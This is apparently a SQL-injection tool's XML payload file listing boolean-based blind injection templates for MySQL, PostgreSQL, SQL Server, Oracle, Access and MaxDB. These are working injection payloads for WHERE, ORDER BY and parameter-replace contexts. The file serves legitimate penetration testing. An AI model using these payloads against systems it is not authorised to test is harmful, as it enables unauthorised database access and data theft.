<?xml version="1.0" encoding="UTF-8"?>

<root>

<!-- Boolean-based blind tests - WHERE/HAVING clause -->

<test>

<title>AND boolean-based blind - WHERE or HAVING clause</title>

<stype>1</stype>

<level>1</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause</title>

<stype>1</stype>

<level>1</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR [INFERENCE]</vector>

<request>

<payload>OR [RANDNUM]=[RANDNUM]</payload>

</request>

<response>

<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>-- </comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>

<stype>1</stype>

<level>2</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR [INFERENCE]</vector>

<request>

<payload>OR [RANDNUM]=[RANDNUM]</payload>

<comment>-- </comment>

</request>

<response>

<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>#</comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>

<stype>1</stype>

<level>3</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR [INFERENCE]</vector>

<request>

<payload>OR [RANDNUM]=[RANDNUM]</payload>

<comment>#</comment>

</request>

<response>

<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>%16</comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

<details>

<dbms>Microsoft Access</dbms>

</details>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)</title>

<stype>1</stype>

<level>3</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR [INFERENCE]</vector>

<request>

<payload>OR [RANDNUM]=[RANDNUM]</payload>

<comment>%16</comment>

</request>

<response>

<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>

</response>

<details>

<dbms>Microsoft Access</dbms>

</details>

</test>

<test>

<title>MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>1</where>

<vector>RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))</vector>

<request>

<payload>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))</payload>

</request>

<response>

<comparison>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>1</where>

<vector>AND MAKE_SET([INFERENCE],[RANDNUM])</vector>

<request>

<payload>AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)</title>

<stype>1</stype>

<level>3</level>

<risk>3</risk>

<clause>1,2,3</clause>

<where>2</where>

<vector>OR MAKE_SET([INFERENCE],[RANDNUM])</vector>

<request>

<payload>OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>1</where>

<vector>AND ELT([INFERENCE],[RANDNUM])</vector>

<request>

<payload>AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)</title>

<stype>1</stype>

<level>4</level>

<risk>3</risk>

<clause>1,2,3</clause>

<where>2</where>

<vector>OR ELT([INFERENCE],[RANDNUM])</vector>

<request>

<payload>OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>1</where>

<vector>AND ([INFERENCE])*[RANDNUM]</vector>

<request>

<payload>AND ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>

</request>

<response>

<comparison>AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>

<stype>1</stype>

<level>5</level>

<risk>3</risk>

<clause>1,2,3</clause>

<where>2</where>

<vector>OR ([INFERENCE])*[RANDNUM]</vector>

<request>

<payload>OR ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>

</request>

<response>

<comparison>OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<!-- End of boolean-based blind tests - WHERE or HAVING clause -->

<!-- Boolean-based blind tests - Parameter replace -->

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>1</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &lt; 5.0 boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&lt; 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &lt; 5.0 boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&lt; 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (MAKE_SET)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>MAKE_SET([INFERENCE],[RANDNUM])</vector>

<request>

<payload>MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>MAKE_SET([INFERENCE],[ORIGVALUE])</vector>

<request>

<payload>MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>

</request>

<response>

<comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (ELT)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>ELT([INFERENCE],[RANDNUM])</vector>

<request>

<payload>ELT([RANDNUM]=[RANDNUM],[RANDNUM1])</payload>

</request>

<response>

<comparison>ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (ELT - original value)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>ELT([INFERENCE],[ORIGVALUE])</vector>

<request>

<payload>ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>

</request>

<response>

<comparison>ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (bool*int)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>([INFERENCE])*[RANDNUM]</vector>

<request>

<payload>([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>

</request>

<response>

<comparison>([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>([INFERENCE])*[ORIGVALUE]</vector>

<request>

<payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>

</request>

<response>

<comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>PostgreSQL boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<test>

<title>PostgreSQL boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->

<test>

<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>

<request>

<payload>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>

</request>

<response>

<comparison>(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->

<test>

<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>

<request>

<payload>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>

</request>

<response>

<comparison>(SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<test>

<title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>

</response>

<details>

<dbms>Microsoft SQL Server</dbms>

<dbms>Sybase</dbms>

<os>Windows</os>

</details>

</test>

<test>

<title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>

</response>

<details>

<dbms>Microsoft SQL Server</dbms>

<dbms>Sybase</dbms>

<os>Windows</os>

</details>

</test>

<test>

<title>Oracle boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>

</response>

<details>

<dbms>Oracle</dbms>

</details>

</test>

<test>

<title>Oracle boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>

</response>

<details>

<dbms>Oracle</dbms>

</details>

</test>

<test>

<title>Microsoft Access boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>IIF([INFERENCE],[RANDNUM],1/0)</vector>

<request>

<payload>IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0)</payload>

</request>

<response>

<comparison>IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)</comparison>

</response>

<details>

<dbms>Microsoft Access</dbms>

</details>

</test>

<test>

<title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>

<request>

<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>

</request>

<response>

<comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>

</response>

<details>

<dbms>Microsoft Access</dbms>

</details>

</test>

<test>

<title>SAP MaxDB boolean-based blind - Parameter replace</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)</vector>

<request>

<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)</payload>

</request>

<response>

<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)</comparison>

</response>

<details>

<dbms>SAP MaxDB</dbms>

</details>

</test>

<test>

<title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>

<request>

<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>

</request>

<response>

<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>

</response>

<details>

<dbms>SAP MaxDB</dbms>

</details>

</test>

<!-- End of boolean-based blind tests - Parameter replace -->

<!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&lt; 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&lt; 5.0</dbms_version>

</details>

</test>

<test>

<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<!-- It exclusively works with ORDER BY -->

<test>

<title>PostgreSQL boolean-based blind - ORDER BY clause (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<!--

<test>

<!-- <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause (GENERATE_SERIES - original value)</title> -->

<title>PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)</title>

<stype>1</stype>

<level>5</level>

<risk>1</risk>

<!-- <clause>2,3</clause> -->

<clause>3</clause>

<where>1</where>

<vector>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>